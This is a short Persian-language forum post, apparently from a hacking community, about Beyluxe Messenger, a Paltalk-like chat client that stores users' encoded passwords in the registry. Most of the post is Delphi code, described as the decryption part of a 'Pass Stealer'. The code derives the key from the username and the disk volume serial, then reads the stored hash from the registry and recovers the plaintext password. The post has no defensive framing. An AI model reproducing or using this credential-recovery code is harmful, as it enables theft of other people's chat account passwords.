byluxe یه سیستم چت کلاینت هست شبیه paltalk یوزر + سریال هارد یه کلید میسازه برای کد کردن پسورد و اونو تو رجیستری ذخیره میکنه
این هم کد دیکریپت برای Pass Stealerش
کد:
function VolumeSerialWindows: string;
var
Drive: string;
Buf: array [0..512] of char;
VolumeSerialNumber : DWORD;
MaximumComponentLength : DWORD;
FileSystemFlags : DWORD;
SerialNumber : string;
begin
Result:='';
GetWindowsDirectory(Buf,512);
Drive := LeftStr(ExtractFileDrive(Buf),1)+':\';
GetVolumeInformation(Pchar(Drive),nil,0,@VolumeSerialNumber,MaximumComponentLength,FileSystemFlags,nil,0) ;
SerialNumber := IntToHex(HiWord(VolumeSerialNumber),4)+IntToHex(loword(VolumeSerialNumber),4);
Result := SerialNumber;
end;
function BeyluxeDecodePWS(Var user,HashPass:string):String;
var
volSerial,tmpCommix,tmpPSW,tmpDec,tmpString,TPS:String;
i:integer;
begin
if (Length(User) < 1) or (Length(HashPass) < 1) then
begin
Result := HashPass;
Exit;
end;
VolSerial := VolumeSerialWindows;
TPS := HashPass;
while (Length(User)+Length(VolSerial)>0) do
begin
if Length(User)>0 then
begin
tmpCommix := tmpCommix + LeftStr(User,1);
Delete(User,1,1);
end;
if Length(VolSerial)>0 then
begin
tmpCommix := tmpCommix + LeftStr(VolSerial,1);
Delete(VolSerial,1,1);
end;
end;
while Length(TmpString) <= (Length(HashPass)/3) do
TmpString := TmpString + tmpCommix;
i:=1;
while Length(HashPass) > 0 do
begin
try
tmpdec := Copy(HashPass,1,3);
tmpPSW := tmpPSW + chr(StrToInt(tmpDec) - (ord(TmpString[i])xor 4) - $74) ;
except
end;
Delete(TmpString,1,1);
Delete(HashPass,1,3);
end;
Result:= tmpPSW;
end;
شیوه استفاده
کد:
var
Reg: TRegistry;
User, HashPass: String;
begin
User:= 'SomeNickName'; // You could get user names from registry
Reg := TRegistry.Create;
Reg.OpenKey('\Software\Beyluxe Messenger\' + User ,False);
HashPass := Reg.ReadString('Password');
Reg.CloseKey;
Reg.Free;
Edit1.Text:= BeyluxeDecodePWS(User,HashPass);